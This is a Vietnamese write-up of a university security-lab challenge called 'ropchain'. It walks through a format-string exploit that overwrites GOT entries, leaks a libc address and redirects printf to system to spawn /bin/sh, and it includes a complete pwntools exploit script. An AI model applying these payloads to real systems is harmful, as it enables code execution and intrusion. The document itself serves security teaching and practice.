Hi, I'm Pr1vacy A.K.A ExiledBeast from Abyssal Hunter Nay thì mình xin lên bài WU về bài cuối cùng của LTAT Lab6 - Bài ropchain. Sơ lược về bài này:
- Xem sơ mã giả thì bài này có lỗi format string, không có lỗi buffer overflow và có một biến toàn cục a để ngăn chúng ta nhập lại lần nữa
- Tiếp nữa là về mitigation, NX bật ok vậy thì không shellcode, canary vs PIE tắt ok và RelRO partial thì chúng ta có thể nghĩ tới việc overwrite thằng exit(0)
- Tên đề bài là ropchain, check những cái gadget có sẵn xem sao. số lượng gadget khá nhỏ chúng ta có thể thực hiện ret2csu nhưng mình sẽ chỉ dùng những thứ chúng ta được dạy để giải bài này.
- Vì khi mình hoàn thành bài này thì thời gian lab đã hết nên không thể demo trên server được nên sẽ demo trên máy mình với libc.so.6
- vì libc.so.6 3 địa chỉ cuối của hàm system sẽ là 920 và scanf rất ngại byte 0x20 này nên mình sẽ xây dựng kịch bản như sau.
- Đầu tiên, chúng ta sẽ overwrite got, cụ thể là overwrite exit ở địa chỉ "0x404030" và chúng ta sẽ ghi đè hàm main để có thể tạo ra 1 vòng lặp vô hạn để có thể leak và ghi đè thông qua lỗi fmt. À, đừng quên ghi đè cả biến a ha
- Đoạn code nó sẽ như sau:
rop_rsi_r15_addr = 0x4012b1
exit_libc_got = 0x404030
printf_addr = 0x404018
main_addr =0x401196
a_addr = 0x404070
# GOT overwrite exit
payload =b"%17c%18$hhn" + b"%47c%19$hhn%86c%20$hhn" + b"%105c%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn%28$hhn"
print(len(payload))
payload = payload.ljust(96, b"A")
payload += p64(exit_libc_got+1) + p64(exit_libc_got+2)+p64(exit_libc_got)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print(len(payload))
s.sendline(payload)
print(s.recv())- ok giải thích một chút thì hàm main của chúng ta sẽ có địa chỉ là 0x401196 nên chúng ta sẽ ghi byte ở giữa trước vì nó nhỏ nhất và tương tự với các byte lớn dần lên.
- Về biến a, chúng ta thấy ở đây. Biến a sẽ được cộng lên sau khi chúng ta đã ghi đè. Vậy nên là nếu chúng ta ghi đè biến a là 0 thì sẽ vô ích vì sau cùng nó cũng sẽ cộng lên.
- ta sẽ nhớ về tràn số, integer overflow nếu biến a có giá trị 0xffffffffffffffff thì khi +1 thì nó sẽ trở lại là 0 nên mình ghi đè 8 byte của biến a là 0xff.
- Kết quả nó sẽ như sau, đã ghi đè được hàm exit
- Và trước khi gọi hàm exit (main sau khi đã ghi đè), biến a đã thành 0
- Bước đầu để mọi người hình dung nên mình sẽ nói kĩ xíu, sau bước này mình sẽ lướt qua nhanh ý tưởng thôi ha.
- Từ đây, chúng ta đã có được vòng lặp vĩnh viễn miễn là nhớ ghi đè biến a :))
- Ở bước này chúng ta sẽ leak địa chỉ libc của printf và từ đó tính libc base và system
- Đơn giản ta sẽ truyền địa chỉ hàm printf và dùng %s để leak ra
- code đơn giản như sau:
# leak libc
payload2 = b"%18$s"+b"%249c%19$hhn%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn"
payload2 = payload2.ljust(96, b"A")
payload2 += p64(printf_addr) + p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print(payload2)
s.sendline(payload2)
printf_libc = int.from_bytes(s.recv()[:6], byteorder='little')
print(hex(printf_libc))
libc_addr = printf_libc - 0x52b30
system_addr = libc_addr + 0x4c920
binsh_addr = libc_addr + 0x19604f
print("bin/sh addr:", hex(binsh_addr))
print("system addr:", hex(system_addr))
print("libc addr:", hex(libc_addr))- vì dùng printf thì nó sẽ ở dạng byte trả về và địa chỉ libc sẽ là 6 byte nên mình dùng
printf_libc = int.from_bytes(s.recv()[:6], byteorder='little')để lấy 6 byte và chuyển thành int
- Time to tính offset 🌋
- ok ta dùng vmmap để lấy địa chỉ base và dùng địa chỉ trong bảng got trừ đi libc base là ra offset. và dùng p system để tìm địa chỉ system từ đó ra offset của system. Ở đây chỉ đơn giản cộng trừ thôi
- walla ta có đoạn code leak libc ở trên 👍
- Vì scanf nhạy cảm với 0x20 nên ta sẽ ghi đè printf để nó gọi hàm libc và printf này chỉ có 1 tham số là cái địa chỉ chuỗi mình ghi vào stack khi gọi scanf
- Chúng ta sẽ ghi đè printf và để nó quay lại main chúng ta sẽ nhập /bin/sh thì nó sẽ gọi và thực thi hàm system("/bin/sh") cho chúng ta
- tương tự như những lần ghi đè trên, ta để ý thì địa chỉ system và địa chỉ của printf chỉ khác nhau 2 bytes cuối nên chúng ta sẽ chỉ ghi đè 2 bytes cuối cho tiết kiệm thời gian.
- Một điều cần lưu ý, vì địa chỉ stack vs libc sẽ có ASLR bảo vệ nên chúng ta sẽ kiểm tra coi cái bytes nào nhỏ hơn để ghi trước
- code của bước 3 & 4 sẽ như sau:
offset_ovw = int(hex(system_addr)[10:12],16)
print("offset overwrite", offset_ovw)
if( offset_ovw > 0x20):
payload3 =b"%32c%18$hhn" + f"%{offset_ovw - 0x20}c%19$hhn".encode() + f"%{0xff - offset_ovw}c%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn".encode()
print("payload 3.1: ", len(payload3), payload3)
payload3 = payload3.ljust(96, b"A")
print("payload 3.1: ", len(payload3), payload3)
payload3 += p64(printf_addr) + p64(printf_addr+1)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print("payload 3.1: ",payload3)
else:
payload3 =f"%{offset_ovw}c%18$hhn".encode() + f"%{0x20-offset_ovw}c%19$hhn".encode() + f"%{0xff - 0x20}c%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn".encode()
print("payload 3.2: ", len(payload3), payload3)
payload3 = payload3.ljust(96, b"A")
print("payload 3.2: ", len(payload3), payload3)
payload3 += p64(printf_addr+1) + p64(printf_addr)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print("payload 3.2: ",payload3)
print("payload 3: ",payload3)
s.sendline(payload3)
#call system and get it boi
payload4 = b"/bin/sh\x00"
s.sendline(payload4)
s.interactive()
from pwn import *
s = process('./ropchain')
#binary = ELF('./ropchain')
#print(hex(binary.plt['exit']))
gdb.attach(s, api=True)
#_start_addr = 0x4010b0
pop_rsi_r15_addr = 0x4012b1
exit_libc_got = 0x404030
printf_addr = 0x404018
main_addr =0x401196
a_addr = 0x404070
# GOT overwrite exit
payload =b"%17c%18$hhn" + b"%47c%19$hhn%86c%20$hhn" + b"%105c%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn%28$hhn"
print(len(payload))
payload = payload.ljust(96, b"A")
payload += p64(exit_libc_got+1) + p64(exit_libc_got+2)+p64(exit_libc_got)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print(len(payload))
s.sendline(payload)
print(s.recv())
#input()
# leak libc
payload2 = b"%18$s"+b"%249c%19$hhn%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn"
payload2 = payload2.ljust(96, b"A")
payload2 += p64(printf_addr) + p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print(payload2)
s.sendline(payload2)
printf_libc = int.from_bytes(s.recv()[:6], byteorder='little')
print(hex(printf_libc))
libc_addr = printf_libc - 0x52b30
system_addr = libc_addr + 0x4c920
binsh_addr = libc_addr + 0x19604f
print("bin/sh addr:", hex(binsh_addr))
print("system addr:", hex(system_addr))
print("libc addr:", hex(libc_addr))
#overwrite printf
offset_ovw = int(hex(system_addr)[10:12],16)
print("offset overwrite", offset_ovw)
if( offset_ovw > 0x20):
payload3 =b"%32c%18$hhn" + f"%{offset_ovw - 0x20}c%19$hhn".encode() + f"%{0xff - offset_ovw}c%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn".encode()
print("payload 3.1: ", len(payload3), payload3)
payload3 = payload3.ljust(96, b"A")
print("payload 3.1: ", len(payload3), payload3)
payload3 += p64(printf_addr) + p64(printf_addr+1)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print("payload 3.1: ",payload3)
else:
payload3 =f"%{offset_ovw}c%18$hhn".encode() + f"%{0x20-offset_ovw}c%19$hhn".encode() + f"%{0xff - 0x20}c%20$hhn%21$hhn%22$hhn%23$hhn%24$hhn%25$hhn%26$hhn%27$hhn".encode()
print("payload 3.2: ", len(payload3), payload3)
payload3 = payload3.ljust(96, b"A")
print("payload 3.2: ", len(payload3), payload3)
payload3 += p64(printf_addr+1) + p64(printf_addr)+p64(a_addr)+ p64(a_addr+1)+ p64(a_addr+2)+p64(a_addr+3)+p64(a_addr+4)+p64(a_addr+5)+p64(a_addr+6)+p64(a_addr+7)
print("payload 3.2: ",payload3)
print("payload 3: ",payload3)
s.sendline(payload3)
#call system and get it boi
payload4 = b"/bin/sh\x00"
s.sendline(payload4)
s.interactive()









